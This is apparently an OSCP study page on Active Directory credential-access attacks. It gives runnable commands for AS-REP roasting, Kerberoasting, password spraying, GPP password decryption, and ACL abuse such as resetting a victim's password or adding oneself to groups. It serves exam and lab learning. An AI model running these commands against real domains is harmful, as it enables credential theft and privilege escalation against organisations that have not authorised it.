Skip to content

Active Directory — attacks (credential access)

← Back to index

These attacks turn a low-privilege domain user into more credentials. Each one abuses a specific, legitimate AD feature — understanding which feature is what lets you recognise the opportunity in your BloodHound/LDAP output. Crack everything offline (no banned tools), and remember: try password reuse/spraying first — it's the most common OSCP AD win, and it needs no exotic technique.

AS-REP Roasting — abuses "no Kerberos pre-auth"

The feature: normally Kerberos makes you prove your password before it sends anything crackable. Accounts flagged "Do not require Kerberos pre-authentication" skip that — so the DC will hand you an encrypted blob (derived from the user's password) with no authentication at all. You crack it offline.

# no creds — just a user list:
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DC_IP -format hashcat
# with a cred, find them automatically:
impacket-GetNPUsers $DOMAIN/$USER:$PASS -request -dc-ip $DC_IP -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
Why it's a quick win: it works pre-auth, so a single enumerated username with this flag set is a free crack attempt. BloodHound marks these users; always check.

Kerberoasting — abuses service account SPNs

The feature: any domain user can request a service ticket (TGS) for any service account that has a Service Principal Name (SPN). That ticket is encrypted with the service account's password hash — so you request it and crack it offline. Service accounts are often human-set passwords that never expire and are over-privileged, so a cracked one frequently lands you high.

impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
Why it matters: needs only any valid domain credential. The crack rate is high because service passwords are often weak and ancient — and the reward is often a local-admin or DA-equivalent account.

Password spraying — abuses password reuse + weak policies

The idea: people pick Season+Year!. You spray one such guess across all users (not many guesses at one user — that locks accounts).

netexec smb $DC -u users.txt -p 'Autumn2026!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Welcome1'

Lockout discipline: check --pass-pol first; spray one password per observation window. Locking out the domain mid-exam is a self-inflicted failure.

GPP passwords — abuses a Microsoft design flaw

The feature/flaw: old Group Policy Preferences stored passwords in SYSVOL (readable by all domain users) encrypted with a key Microsoft published. So any user can decrypt them.

netexec smb $DC -u $USER -p $PASS -M gpp_password     # auto-finds + decrypts Groups.xml cpassword

ACL / object-control abuse — abuses delegated permissions

The feature: admins delegate rights (reset this group's passwords, manage that OU). Misconfigured, these become privilege escalation. BloodHound shows them as edges out of your user:

# ForceChangePassword / GenericAll on a USER -> reset their password:
net rpc password "victim" "NewPass123!" -U "$DOMAIN"/"$USER"%"$PASS" -S $DC
# GenericAll / AddMember on a GROUP -> add yourself:
bloodyAD -u $USER -p $PASS -d $DOMAIN --host $DC add groupMember "Target Group" $USER
# GenericWrite on a user -> targeted Kerberoast (add an SPN, roast, remove):
targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS
# WriteDACL on the domain object -> grant yourself DCSync rights (see lateral-movement)
How to recognise it: you don't guess these — BloodHound tells you ("user X has GenericAll on group Y"). The attack is just exercising the permission AD already granted.

Putting it together

flowchart TD
  A["low-priv domain user"] --> B{"BloodHound / LDAP shows..."}
  B -->|no-preauth user| C["AS-REP roast -> hashcat 18200"]
  B -->|SPN account| D["Kerberoast -> hashcat 13100"]
  B -->|lockout headroom| E["spray a seasonal password"]
  B -->|GPP in SYSVOL| F["gpp_password -> plaintext"]
  B -->|ACL edge| G["reset pw / add to group / grant DCSync"]
  C --> H["NEW credentials"]
  D --> H
  E --> H
  F --> H
  G --> H
  H --> I["validate everywhere + re-run BloodHound as this user"]
Every new credential → re-validate against every host and re-map from that user. You're climbing a ladder of trust relationships; each rung reveals the next.